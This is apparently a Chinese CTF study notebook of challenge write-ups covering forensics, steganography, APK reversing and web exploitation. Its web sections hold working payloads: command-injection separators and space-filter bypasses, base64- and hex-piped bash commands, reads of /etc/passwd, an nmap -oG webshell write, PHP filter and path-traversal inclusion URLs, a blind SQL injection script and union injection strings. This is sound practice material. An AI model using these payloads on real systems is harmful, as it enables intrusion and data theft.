备战CTF做题题解

杂题

PDF题目

将PDF文件拖入Linux系统中打开,flag隐写在图片上

题目如来十三掌

使用“与佛论禅”翻译器进行解密,句首+“佛曰:”,得到解密后的密文,根据标题“十三”,将密文通过rot-13解密后,再通过base64解密,得到flag

功夫再高也怕菜刀

将pcapng文件拖到kaliLinux中,通过foremost工具打开,得到一个压缩包,压缩包内有名为flag.txt加密文件,需要获取密码,再通过 wireshake软件打开pcapng文件,通过搜索字节流flag.txt字符串,在第1150个数据包中发现大量16进制字符串,并发现有FFD8开头,确定其中包含有JPEG文件,将字符串FFD8开头FFD9结尾复制到winhex中,以ASCII Hex格式粘贴,导出后修改文件后缀.jpg,得到密码,打开FLAG.TXT,得到最终flag。

Web题目backup

查看备份文件的方法:在文件后添加后缀.bak或~,添加到url后

xff_referer

xff 是http的拓展头部,作用是使Web服务器获取访问用户的IP真实地址 (可伪造)。由于很多用户通过代理服务器进行访问,服务器只能获取代理服务器的IP地址,而xff的作用在于记录用户的真实IP。通常可以直接通过修改http头中的X-Forwarded-For字段来仿造请求的最终ip。

referer 是http的拓展头部,作用是记录当前请求页面的来源页面的地址。 服务器使用referer确认访问来源,如果referer内容不符合要求,服务器可以拦截或者重定向请求。

通过burp suite抓包,伪造http头部,将请求发送到重发器中,通过伪造X-Forwarded-For:123.123.123.123,重发,看到提示请求必须来自https://www.google.com,再伪造Referer头部内容Referer:https://www.google.com,得到Flag。

get_post

http的两种请求方式是get和post ,get的请求方式是通过在网址后面加上“?a=1&b=2”,例如:攻防世界,post传参的话通过hackbug

攻防世界-mobile简单题-easy-so

模拟器加载后,通过android反编译工具-jadx反编译apk文件,查找关键字符串“验证失败”,定位到相关函数CheckString,将资源文件导出,再通过IDA软件打开so文件,按F5转代码,发现输入框内容要与f72c5a36569418a20907b55be5bf95ad对比,他是通过将字符串两两交换,再对半头尾互换

1.将f7 2c 5a 36 56 94 18 a2 09 07 b5 5b e5 bf 95 ad两两交换得到7f c2 a5 63 65 49 81 2a 90 70 5b b5 5e fb 59 da

2.将7fc2a5636549812a 90705bb55efb59da从中间砍断,头尾互换得到90705bb55efb59da 7fc2a5636549812a

通过题目easyso脚本.py运行,得到flag

————————————————

版权声明:本文为CSDN博主「愚公搬代码」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。

原文链接:【愚公系列】2021年12月 攻防世界-简单题-MOBILE-001(easy-so)_愚公搬代码的博客-CSDN博客

攻防世界-mobile简单题-easy-apk

同样先通过模拟器打开apk文件,发现一样的结果“验证失败!”,接着jadx反编译apk文件,查找关键字,找到关键函数,发现还是通过比对字符串,5rFf7E2K6rqN7Hpiyush7E6S5fJg6rsi5NBf6NGT5rs=,确定是base64,找到Base64New函数,发现是自建库,需要特定的解密脚本,自建项目,找到万能C++代码,进行破解,运行“android-apk解题”,得到flag。

https://www.52pojie.cn/thread-1623325-1-1.html

攻防世界-MISC进阶题目

【杂项】各类文件头结合winhex使用-转载

———常用文件头———

JPEG (jpg),文件头:FFD8FFE1
PNG (png),文件头:89504E47 (0D0A1A0A)GIF (gif),文件头:47494638ZIP Archive (zip),文件头:504B0304
RAR Archive (rar),文件头:52617221XML (xml),文件头:3C3F786D6CMPEG (mpg),文件头:000001BA
MPEG (mpg),文件头:000001B3AVI (avi),文件头:41564920

———不常用———
TIFF (tif),文件头:49492A00
Windows Bitmap (bmp),文件头:424D
CAD (dwg),文件头:41433130
Adobe Photoshop (psd),文件头:38425053
Rich Text Format (rtf),文件头:7B5C727466
HTML (html),文件头:68746D6C3E
Email [thorough only] (eml),文件头:44656C69766572792D646174653A
Outlook Express (dbx),文件头:CFAD12FEC5FD746F
Outlook (pst),文件头:2142444E
MS Word/Excel (xls.or.doc),文件头:D0CF11E0
MS Access (mdb),文件头:5374616E64617264204A
WordPerfect (wpd),文件头:FF575043
Postscript (eps.or.ps),文件头:252150532D41646F6265
Adobe Acrobat (pdf),文件头:255044462D312E
Quicken (qdf),文件头:AC9EBD8F
Windows Password (pwl),文件头:E3828596
Wave (wav),文件头:57415645
Real Audio (ram),文件头:2E7261FD
Real Media (rm),文件头:2E524D46
Quicktime (mov),文件头:6D6F6F76
Windows Media (asf),文件头:3026B2758E66CF11
MIDI (mid),文件头:4D546864

reverseMe

下载文件,打开后是镜像反转的Flag,打开画图,旋转-水平旋转。

Hear-with-your-Eyes

下载后得到压缩包,解压,得到一个没有文件后缀的文件,通过winhex打开后,发现提示“sound.mav”,可能还是一个压缩包文件,更改后缀为rar,再次解压得到音频文件sound.wav,通过Audacity软件打开后,选择频谱图展示

备战CTF做题题解_第1张图片

得到flag:e5353bb7b57578bd4da1c898a8e2d767

pure_color

下载附件后,通过Stegsolve打开图片,在BLUE的0图层可以看到Flag

备战CTF做题题解_第2张图片

flag{true_steganographers_doesnt_need_any_tools}

Miss_01

下载附件,得到一个压缩包,解压需要密码

备战CTF做题题解_第3张图片

但可以看到压缩包内包含一个文件夹以及一个word文档和fun压缩包,fun压缩包内还包含一个WAV文件。可以猜想最终的flag是包含在这个音频文件中。

通过Winhex打开,发现是伪加密。

一个zip文件由三部分组成:压缩源文件数据区+压缩源文件目录区+压缩源文件目录结束标志。

1.压缩源文件数据区:

50 4B 03 04:这是头文件标记 (0x04034b50)

14 00:解压文件所需 pkware 版本

00 00:全局方式位标记(判断有无加密)

08 00:压缩方式

5A 7E:最后修改文件时间

F7 46:最后修改文件日期

2.压缩源文件目录区:

50 4B 01 02:目录中文件文件头标记 (0x02014b50)

1F 00:压缩使用的 pkware 版本

14 00:解压文件所需 pkware 版本

00 00:全局方式位标记(判断是否为伪加密)

08 00:压缩方式

5A 7E:最后修改文件时间

F7 46:最后修改文件日期

3.压缩源文件目录结束标志:

50 4B 05 06:目录结束标记

00 00:当前磁盘编号

00 00:目录区开始磁盘编号

01 00:本磁盘上纪录总数

01 00:目录区中纪录总数

59 00 00 00:目录区尺寸大小

3E 00 00 00:目录区对第一张磁盘的偏移量

00 00:ZIP 文件注释长度

全局方式位标记的四个数字中只有第二个数字对其有影响,其它的不管为何值,都不影响它的加密属性,即:

第二个数字为奇数时 –>加密

第二个数字为偶数时 –>未加密

————————————————

版权声明:本文为CSDN博主「xiaozhaidada」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。

原文链接:CTF——zip伪加密_xiaozhaidada的博客-CSDN博客_zip伪加密

备战CTF做题题解_第4张图片

先删除fun.zip后,破解伪加密。

通过ZipCenOp.jar进行破解:java -jar ZipCenOp.jar r miss_01.zip。得到word文件,打开

备战CTF做题题解_第5张图片

waoootu.epj,nv o

www.verymuch.net

是希尔加密

备战CTF做题题解_第6张图片

得到密钥love and peaceee,对word内容进行rabbit解密,

(rabbit是一种非对称加密,类似于base64编码,增加了解密密钥)

备战CTF做题题解_第7张图片

得到的字符串再通过base32解码,

备战CTF做题题解_第8张图片

再进行Unicode解码,

备战CTF做题题解_第9张图片

再与佛论禅,新佛曰解码:

备战CTF做题题解_第10张图片

得到最终密码:Live beautifully, dream passionately, love completely.

解压fun.zip,得到音频文件,通过Audicty打开,查看频谱图

备战CTF做题题解_第11张图片

flag{m1sc_1s_funny2333}

(这题好像洋葱。。。。)

base64,32,16的区分

首先密文中有英文大写和小写就是base64,只有大写和数字的就是base32,只有数字英文大写A-F那就是16

备战CTF做题题解_第12张图片

备战CTF做题题解_第13张图片

备战CTF做题题解_第14张图片

János-the-Ripper

下载附件,是一个压缩包,解压后得到一个没有文件后缀的文件misc100,通过winhex打开后,发现是50 4B开头,于是添加.zip压缩文件后缀,进行解压,发现需要密码,winhex中并没有伪加密,说明需要我们进行暴力破解。掏出ARCHPR,直接暴力破解

备战CTF做题题解_第15张图片

What-is-this

附件解压后,得到一个无后缀的文件,用winhex打开,右边显示“pic2.jpg”

将该文件后缀改为.zip,再解压一次,得到两张一样的jpg图片

stegsolve先打开pic1.jpg,再点击“Analyse --> Image Combiner”

备战CTF做题题解_第16张图片

WEB题目

Nmap[网鼎杯 2020 朱雀组]

NMAP中使用-0G命令可以实现代码写入

备战CTF做题题解_第17张图片

是一个NMAP扫描网站,随便输入一个IP

备战CTF做题题解_第18张图片

备战CTF做题题解_第19张图片

可以看到这里返回了nmap扫描的结果,这里我们就想到了NMAP里的-oG命令实现代码的写入,那我们这里就可以尝试构造payload,来利用‘拼接,写入我们想要的shell文件

nmap其他写文件命令:

-oN (标准输出)

-oX (XML输出)

-oS (ScRipT KIdd|3 oUTpuT)

-oG (Grep输出)

-oA (输出至所有格式)

选项-oG
将结果Grep保存。

nmap -F -oG test.txt 192.168.23.1

选项-oA
该选项可将扫描结果以标准格式、XML格式和Grep格式一次性保存,分别放在.nmap,.xml和.gnmap文件中。

nmap -F -oA test 192.168.3.2

尝试写入 webshell
127.0.0.1 | -oG hack.php

备战CTF做题题解_第20张图片

备战CTF做题题解_第21张图片

备战CTF做题题解_第22张图片

发现会对 php 过滤, 利用 缀:
127.0.0.1 | -oG hack.phtml

备战CTF做题题解_第23张图片

这块发现 php 语句的符号, 被转义了,

备战CTF做题题解_第24张图片

本地测试发现是’单引号的问题, 可以进行单引号和空格绕过,重新写入
127.0.0.1 |' -oG hack.phtml ' 或者

qq' -oG 4.phtml '

备战CTF做题题解_第25张图片

发现 PHP 语句被解析, 使用 webshell 管理工具, 进行连接, 通过在/目录, 发现 flag 文件
 

备战CTF做题题解_第26张图片

PING题目—CMD

看到ping命令就可以利用截断来执行新的命令。

首先测试所有的截断符号:

‘$’

‘;’

‘|’

‘-’

‘(’

‘)’

‘反引号’

‘||’

‘&&’

‘&’

‘}’

‘{’

'%0a’可以当作空格来用;

利用截断符号配合普通命令简单问题基本就出来;

例如:ip=127.0.0.1;cat /home/flag.txt

简单的flag就出来了,也可以配合其他的进行。

“;”分号用法

方式:command1 ; command2

用;号隔开每个命令, 每个命令按照从左到右的顺序执行, 彼此之间不关心是否失败, 所有命令都会执行。

“| ”管道符用法

上一条命令的输出,作为下一条命令参数。

CTF里面:ping 127.0.0.1 | ls(只执行ls不执行前面的)

方式:command1 | command

Linux所提供的管道符“|”将两个命令隔开,管道符左边命令的输出就会作为管道符右边命令的输入。

连续使用管道意味着第一个命令的输出会作为第二个命令的输入,第二个命令的输出又会作为第三个命令的输入,依此类推。

利用一个管道:

rpm -qa|grep licq

这条命令使用一个管道符“|”建立了一个管道。管道将rpm -qa命令的输出(包括系统中所有安装的RPM包)作为grep命令的输入,从而列出带有licq字符的RPM包来。q表示查询query,a 表示all。

利用多个管道:

cat /etc/passwd | grep /bin/bash | wc -l

这条命令使用了两个管道,利用第一个管道将cat命令(显示passwd文件的内容)的输出送给grep命令,grep命令找出含有“/bin /bash”的所有行;第二个管道将grep的输出送给wc命令,wc命令统计出输入中的行数。这个命令的功能在于找出系统中有多少个用户使用bash。

“&”符号用法

ctf中用法 ping 127.0.0.1 & ls(先执行ls后执行ping)

&放在启动参数后面表示设置此进程为后台进程

方式:command1 &

默认情况下,进程是前台进程,这时就把Shell给占据了,我们无法进行其他操作。

对于那些没有交互的进程,很多时候,我们希望将其在后台启动,可以在启动参数的时候加一个’&'实现这个目的。

“&&”符号用法(与)

ctf中用法 ping 127.0.0.1 && ls(ping命令正确才执行ls 要是ping 1 && ls ls就不会执行)

shell 在执行某个命令的时候,会返回一个返回值,该返回值保存在 shell 变量 $? 中。

当 $? == 0 时,表示执行成功;

当 $? == 1 时(非0的数,返回值在0-255间),表示执行失败。

有时候,下一条命令依赖前一条命令是否执行成功。

如:在成功地执行一条命令之后再执行另一条命令,或者在一条命令执行失败后再执行另一条命令等。

shell 提供了 && 和 || 来实现命令执行控制的功能,shell 将根据 && 或 || 前面命令的返回值来控制其后面命令的执行。

语法格式如下:

command1 && command2 [&& command3 …]

命令之间使用 && 连接,实现逻辑与的功能。

只有在 && 左边的命令返回真(命令返回值 $? == 0),&& 右边的命令才会被执行。

只要有一个命令返回假(命令返回值 $? == 1),后面的命令就不会被执行。

1

2

“||”符号用法(或)

和&&相反 左边为假才执行命令二

语法格式如下:

command1 || command2 [|| command3 …]

命令之间使用 || 连接,实现逻辑或的功能。

只有在 || 左边的命令返回假(命令返回值 $? == 1),|| 右边的命令才会被执行。这和 c 语言中的逻辑或语法功能相同,即实现短路逻辑或操作。

只要有一个命令返回真(命令返回值 $? == 0),后面的命令就不会被执行。直到返回真的地方停止执行。

举例,ping命令判断存活主机,注意 &>要连起来写

ping -c 1 -w 1 192.168.1.1 &> /dev/null && result=0 ||result=1 if [ "$result" == 0 ];then echo "192.168.1.1 is UP!" else echo "192.168.2.1 is DOWN!" fi

绕过空格的方法

linux下绕过空格

$IFS

${IFS}

$IFS$1 //$1改成$加其他数字貌似都行

<

<>

{cat,flag.php} //用逗号实现了空格功能

%20

%09

例如

cat${IFS}flag.txt

cat$IFS$9flag.txt

cat

cat<>flag.txt

ca\t fl\ag

kg=$'\x20flag.txt'&&cat$kg(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)

windows下绕过空格

type.\flag.txt

type,flag.txt

echo,123456

通配符绕过

???在linux里面可以进行代替字母

/???/c?t flag.txt

*在linux里面可以进行模糊匹配

cat flag.* *进行模糊匹配php

代替cat的命令

cat:由第一行开始显示内容,并将所有内容输出

tac:从最后一行倒序显示内容,并将所有内容输出

more:根据窗口大小,一页一页的现实文件内容

less:和more类似,但其优点可以往前翻页,而且进行可以搜索字符

head:只显示头几行

tail:只显示最后几行

nl:类似于cat -n,显示时输出行号

tailf:类似于tail -f

sort%20/flag 读文件

dir来查看当前目录文件

Linux花式读取文件内容

注:目标是获取flag.txt的内容

static-sh读取文件:

static-sh ./flag.txt

paste读取文件:

paste ./flag.txt /etc/passwd

diff读取文件 :

diff ./flag.txt /etc/passwd

od读取文件

od -a ./flag.txt

bzmore读取文件:

bzmore ./flag.txt

bzless读取文件:

bzless ./flag.txtecho `bzless ./flag.txt`

curl读取文件:

curl file:///home/coffee/flag

编码绕过

base64:

echo YWJjZGU=|base64 -d //打印出来abcde

echo Y2F0IGZhbGcucGhw|base64 -d|bash //cat flag.php

echo Y2F0IGZhbGcucGhw|base64 -d|sh //cat flag.php

hex编码绕过:

echo 63617420666c61672e706870 | xxd -r -p|bash //cat flag.ph

unicode编码

$(printf “\154\163”) //ls

$(printf “\x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x70\x68\x70”) //cat flag.php

题目

管道符 | 只执行后面的命令

管道符 || 只执行前面的命令

连接符 & 两条命令都执行

空格通过< ${IFS}绕过

ping 192.168.1.1 -c 3 | ipconfig

echo "Y2F0 ZmxhZy5waHA=" | base64 -d |bash

echo "cat flag.txt"|base64

ip=127.0.0.1;cat /home/flag.txt

在url后添加?ip=127.0.0.1显示页面

http://39.96.192.66:54525/?ip=127.0.0.1

备战CTF做题题解_第27张图片

接着查看目录下文件http://39.96.192.66:54525/?ip=127.0.0.1;ls发现没有显示命令

备战CTF做题题解_第28张图片

怀疑是过滤,试着双写绕过http://39.96.192.66:54525/?ip=127.0.0.1;llss发现页面index.php

备战CTF做题题解_第29张图片

查看根目录下所有文件,http://39.96.192.66:54525/?ip=127.0.0.1;llss /

发现对空格符号有过滤,${IFS}进行跳过http://39.96.192.66:54525/?ip=127.0.0.1;llss${IFS}/

备战CTF做题题解_第30张图片

找到目标文件flag.txt,通过cat命令查看文件内容

39.96.192.66:54525/?ip=127.0.0.1;ccatat${IFS}/fflaglag.txt

备战CTF做题题解_第31张图片

得到flag。

PING题目[GXYCTF2019]Ping Ping Ping

备战CTF做题题解_第32张图片

构造/?ip=127.0.0.1

备战CTF做题题解_第33张图片

/?ip=127.0.0.1|ls

备战CTF做题题解_第34张图片

判断目标网站是对空格进行了过滤,我们可以使用一些方法代替空格来起到分割作用

注:%20(space)、%09(tab)、$IFS9 、 9、9、{IFS}$9、 {IFS}、IFS 都可以 $IFS$1

构造?ip=1;cat$IFS$1flag.php回显还是错误,索性查看下源码,构造

发现对flag进行过滤,于是构造拼接/?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php

备战CTF做题题解_第35张图片

查看源码得到flag

备战CTF做题题解_第36张图片

PING题[ACTF2020 新生赛]Exec

备战CTF做题题解_第37张图片

备战CTF做题题解_第38张图片

备战CTF做题题解_第39张图片

备战CTF做题题解_第40张图片

文件包含漏洞题目

文件包含漏洞也是一种“注入型漏洞”,其本质就是输入一段用户能够控制的脚本或者代码,并让服务器端执行。

什么叫包含呢?以PHP为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程就叫做包含。

有时候由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。

以PHP为例,常用的文件包含函数有以下四种:

include(),require(),include_once(),require_once()

区别如下:

  • require(),找不到被包含的文件时会产生致命错误,并停止脚本运行。
  • include(),找不到被包含的文件时只会产生警告,脚本将继续运行。
  • include_once()与include()类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。
  • require_once()与require()类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。
  1. 本地文件包含漏洞
  2. PHP伪协议
  3. 远程文件包含

php伪协议filter[ACTF2020 新生赛]Include

备战CTF做题题解_第41张图片

打开tips链接,弹出一句话

备战CTF做题题解_第42张图片

并且url后面添加了一个参数?=file=flag.php,判断是文件包含漏洞的题目,

接下来我们学习一下伪协议:

php:// 访问各个输入/输出流(I/O streams)

在CTF中经常使用的是php://filter和php://input

php://filter用于读取页面源码,php://input用于执行php代码

了解更多或者了解其他伪协议请参考PHP伪协议总结 - SegmentFault 思否

构造payload

?file=php://filter/read=convert.base64-encode/resource=flag.php

base64解码获得flag.

PHP伪协议filter[极客大挑战 2019]Secret File

备战CTF做题题解_第43张图片

查看页面源码

备战CTF做题题解_第44张图片

找到关键的一句话

点击链接,打开界面

备战CTF做题题解_第45张图片

点击Secret

备战CTF做题题解_第46张图片

查看源码也并没有发现答案,抓个包看看

备战CTF做题题解_第47张图片

找到隐藏链接secr3t.php,打开链接

备战CTF做题题解_第48张图片

提示flag存放在flag.php中,未对filter过滤,构造payload进行查看

secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php

备战CTF做题题解_第49张图片

base64解码,得到flag。

binwalk -e /tmp/mozilla_kali0/QR_code.png

sublime

acft新生杯 include

文件备份[ACTF2020 新生赛]BackupFile

备战CTF做题题解_第50张图片

提示找源码,并且题目名称BackupFile,备份文件,于是/index.php.bak

得到源码:

 
  

传入key,首先判断key是否为数字或者数字字符。然后对key取整。最后判断key和str是否相等。这里存在弱比较漏洞。
原理:如果key为数字时,在做==比较时,str字符串自动变为数字,即str=123

传参key=123

END。

代码审计+GET传参+文件包含漏洞[HCTF 2018]WarmUp

备战CTF做题题解_第51张图片

没有任何提示,查看源码,

备战CTF做题题解_第52张图片

提示source.php,直接访问http://e7b53743-ea71-49a6-a0d2-93e2bafa75ee.node4.buuoj.cn:81/source.php

备战CTF做题题解_第53张图片

进行代码审计

 "source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "
"; } ?>

跳过emmm类判断,后面if的三个条件,分别判断

 if (! empty($_REQUEST['file'])  //$_REQUEST['file']值非空
        && is_string($_REQUEST['file'])  //$_REQUEST['file']值为字符串
        && emmm::checkFile($_REQUEST['file'])  //能够通过checkFile函数校验
    ) {
        include $_REQUEST['file'];  //包含$_REQUEST['file']文件
        exit;
    } else {
        echo "
"; //打印滑稽表情 }

接着checkFile函数分析,首先是whitelist白名单,列出source.php和hint.php两个元素,尝试访问,

备战CTF做题题解_第54张图片

告诉我们flag在ffffllllaaaagggg中,继续分析checkFile

    highlight_file(__FILE__); //打印代码
    class emmm  //定义emmm类
    {
        public static function checkFile(&$page)//将传入的参数赋给$page
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];//声明$whitelist(白名单)数组
            if (! isset($page) || !is_string($page)) {//若$page变量不存在或非字符串
                echo "you can't see it";//打印"you can't see it"
                return false;//返回false
            }

            if (in_array($page, $whitelist)) {//若$page变量存在于$whitelist数组中
                return true;//返回true
            }

            $_page = mb_substr(//该代码表示截取$page中'?'前部分,若无则截取整个$page
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);//url解码$page
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

可以看到函数代码中有四个if语句

  • 第一个if语句对变量进行检验,要求$page为字符串,否则返回false
  • 第二个if语句判断$page是否存在于$whitelist数组中,存在则返回true
  • 第三个if语句判断截取后的$page是否存在于$whitelist数组中,截取$page中'?'前部分,存在则返回true
  • 第四个if语句判断url解码并截取后的$page是否存在于$whitelist中,存在则返回true
    若以上四个if语句均未返回值,则返回false

有三个if语句可以返回true,第二个语句直接判断$page,不可用
第三个语句截取'?'前部分,由于?被后部分被解析为get方式提交的参数,也不可利用
第四个if语句中,先进行url解码再截取,因此我们可以将?经过两次url编码,在服务器端提取参数时解码一次,checkFile函数中解码一次,仍会解码为'?',仍可通过第四个if语句校验。('?'两次编码值为'%253f'或者%25%33%66),构造url:

http://***:***/source.php?file=source.php%253f../../../../../ffffllllaaaagggg

注入题目

盲注

查看源码,发现什么都没有

备战CTF做题题解_第55张图片

抓包

备战CTF做题题解_第56张图片

对id参数进行注入,返回值为bool猜测为布尔注入

SUBSTR(string,start,count)

取子字符串,从start开始,取count个

ASCII(str)

返回字符串str的最左字符的数值。返回0,如果str为空字符串。返回NULL,如果str为NULL。 ASCII()返回数值是从0到255。

例如:

SQL> SELECT ASCII('2'); 返回2的ascii码50

SQL> SELECT ASCII('dx'); 返回d的ascii码100

IF(a,b,c)

if判断,如果a满足条件,返回b,否则返回c

例如:

SQL> select if(ascii("a")=99,1,2); 返回2

import requests
import time
'''
分析
id=true或1 返回 Hello, glzjin wants a girlfriend. 可以利用
id=2 返回 Do you want to be my girlfriend?
id=(表达式) 根据返回结果,逐个字母判断flag值
查询flag的SQL语句(由于过滤了空格,要用括号代替):(select(flag)from(flag))
使用SQL语句逐个取出flag字符:substr((select(flag)from(flag)),i,1) 从第i个取1一个字符
判断取出的的字符是什么字符:
根据什么判断?ascii
if(ascii(substr(select(flag)from(flag),i,1))=某ascii值,1,0)   正确返回1,错误返回0
每个字符都要进行判断,每次判断都要循环,所以是一个两层循环
'''
url = 'http://ea9211c6-ae0f-4e03-895e-007dd742f521.node4.buuoj.cn:81/index.php'
ch = ''
c = 0  # 记录一下循环次数
i = 1
asciivalue = 1
flag = 'flag{'
# mylist内容是包含ascii码值的列表,包括了对应的数字、字母、{}、-
mylist = list(range(45, 46)) + list(range(48, 58)) + list(range(65, 91)) + list(range(97, 124)) + list(range(125, 126))
for i in range(6, 50):

for asciivalue in mylist:
# 发出请求
# POST中id的内容
   payload = 'if(ascii(substr((select(flag)from(flag)),{},1))={},1,0)'.format(i, asciivalue)

data = {
'id': payload
}
r = requests.post(url, data)
time.sleep(0.2)

# 检测回包内容

c += 1
if 'glzjin' in r.text:
ch = chr(asciivalue)
flag += ch
print('\nGet it!!   {}'.format(flag))
break
else:
print('.', end='')

if ch == '}':
print('Over!')
break

print(flag)
print(c)
# flag{3e9bad6e-155d-4fe1-9d03-79c4de2f5321}
#      xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx

POST[极客大挑战 2019]BuyFlag

代码审计+POST

备战CTF做题题解_第57张图片

主页是三叶草Syclover团队介绍,右上角MENU进入到pay界面,并有

备战CTF做题题解_第58张图片

查看源码

备战CTF做题题解_第59张图片

找到一段代码,意思要传入参数money和password,password=404&money=100000000;抓包

备战CTF做题题解_第60张图片

发现有身份验证,并且传入了cookie,把cookie改为user=1

备战CTF做题题解_第61张图片

备战CTF做题题解_第62张图片

代码中有一段纯数字判断,利用弱类型字符串替换404加空格

备战CTF做题题解_第63张图片

又提示数字太长,这里其实是int strcmp ( string $str1 , string $str2 )

参数 str1第一个字符串。str2第二个字符串。如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。

可知,传入的期望类型是字符串类型的数据,但是如果我们传入非字符串类型的数据的时候,这个函数将会有怎么样的行为呢?实际上,当这个函数接受到了不符合的类型,这个函数将发生错误,但是在5.3之前的php中,显示了报错的警告信息后,将return 0。

所以传入非字符串类型的参数就行了,我们传入的是数组,或者用科学计数法也可以

备战CTF做题题解_第64张图片

备战CTF做题题解_第65张图片

GET[RoarCTF 2019]Easy Calc

encodeURIComponent()函数+符号过滤

备战CTF做题题解_第66张图片

类似于一个计算器,查看源码发现


Z 注释说, 设置了 waf 并且很安全
代码里面存在 encodeURIComponent()函数, 其含义为

定义和用法

encodeURIComponent() 函数可把字符串作为 URI 组件进行编码。

该方法不会对 ASCII 字母和数字进行编码,也不会对这些 ASCII 标点符号进行编码: - _ . ! ~ * ' ( ) 。

其他字符(比如 :;/?:@&=+$,# 这些用于分隔 URI 组件的标点符号),都是由一个或多个十六进制的转义序列替换的。

实例

在本例中,我们将使用 encodeURIComponent() 对 URI 进行编码:

输出:

http%3A%2F%2Fwww.w3school.com.cn

http%3A%2F%2Fwww.w3school.com.cn

%2Fp%201%2F %2C%2F%3F%3A%40%26%3D%2B%24%23

查看 calc.php

 会对我们输入的 num 变量, 进行正则判断, 判断是否存在这些字符

如果存在的化就会拦截
不存在的化, 就会通过 eval 函数, 执行我们输入的内容
calc.php?num=phpinfo() 403报错

备战CTF做题题解_第67张图片

说明网站不让我们传 num 这个变量, 结合代码中说的, 已经设置了 waf, 且安全,说明 waf 对 num 进行拦截,也就是说, waf 不让传 num。 但是我们从代码中看到, 要想获取 flag, 我们必须使用 eval 来
执行我们传的 num 变量的代码。 这个时候只能想办法绕过
这块有个知识点。PHP 将查询字符串(在 URL 或正文中) 转换为内部$_GET 或关联数组$_POST 的时候, 查询字符串在解析的过程中会将某些字符删除或用下划线代替 。

/calc.php? num=phpinfo()/*空格绕过*/+号也能绕过

备战CTF做题题解_第68张图片

在尝试执行 system 命令的时候, 因为需要使用单引号、 空格都被过滤

备战CTF做题题解_第69张图片

所以只能使用其他方式进行绕过, 我们想读取目录, 只要不存在空格、 单引号就行

这里利用 scandir()列出目录和文件,
scandir()函数返回指定目录中的文件和目录的数组。
scandir(/)相当于 ls /
var_dump()用于输出
var_dump()相当于 echo
利用 file_get_contents()读取并输出文件内容
file_get_contents(/flag.php), 读取/flag.php 的代码
构造读取根目录 payload chr(47)="/"
/calc.php? num=var_dump(scandir(chr(47)))

在使用 file_get_contents()函数读取文件 /f1agg
/calc.php?%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

sql[极客大挑战 2019]BabySQL

过滤“or”双写绕过

首先用万能密码1' or 1=1#失败

备战CTF做题题解_第70张图片

发现“or”被过滤,于是用||替换,查看有几个字段,发现需要双写绕过,1' || 1=1 oorrder bbyy 4;#,得知是3个字段,

备战CTF做题题解_第71张图片

查库' ununionion seselectlect 1,2,database() #返回库名“geek”

备战CTF做题题解_第72张图片

查表1' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek' #两个表 'b4bsql,geekuser'

备战CTF做题题解_第73张图片

查列1' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql' #三个列'id,username,password'

备战CTF做题题解_第74张图片

查信息1' ununionion seselectlect 1,2,group_concat(id,passwoorrd,username) frofromm geek.b4bsql #

备战CTF做题题解_第75张图片

Your_password_is_'1i_want_to_play_2077cl4y,2sql_injection_is_so_funsql,3do_you_know_pornhubporn,4github_is_different_from_pornhubgit,5you_found_flag_so_stopStop,6i_told_you_to_stopbadguy,7hack_by_cl4yhacker,8flag{b1e7803b-8795-4e02-b430-dc858366c618}flag'

sql[极客大挑战 2019]LoveSQL

备战CTF做题题解_第76张图片

尝试登陆admin 123

备战CTF做题题解_第77张图片

尝试万能密码,1' or 1=1# 123(随便输)

备战CTF做题题解_第78张图片

password '1ee42d3428a3c5c9abbef612529ceb7d' 尝试MD5解密,结果失败

同时确认可以sql注入,先抓包,再使用sqlmap注入,并确认注入点为username,

备战CTF做题题解_第79张图片

将传递内容放入txt文件中

备战CTF做题题解_第80张图片

通过注入命令python sqlmap.py -r 1.txt检测,成功后通过注入命令继续

python sqlmap.py -r 1.txt –dbs

备战CTF做题题解_第81张图片

python sqlmap.py -r 1.txt -D geek –tables

备战CTF做题题解_第82张图片

python sqlmap.py -r 1.txt -D geek -T l0ve1ysq1 --columns

备战CTF做题题解_第83张图片

python sqlmap.py -r 1.txt -D geek -T l0ve1ysq1 -C id,username,password –dump

备战CTF做题题解_第84张图片

得到flag。

方法2:

判断字段数;

/check.php?username=admin' order by 3%23&password=1 存在

/check.php?username=admin' order by 4%23&password=1 报错

注意:此时是在url中输入的,所以不能用#,而用其url编码%23。

备战CTF做题题解_第85张图片

可知共3个字段。用union查询测试注入点(回显点位):

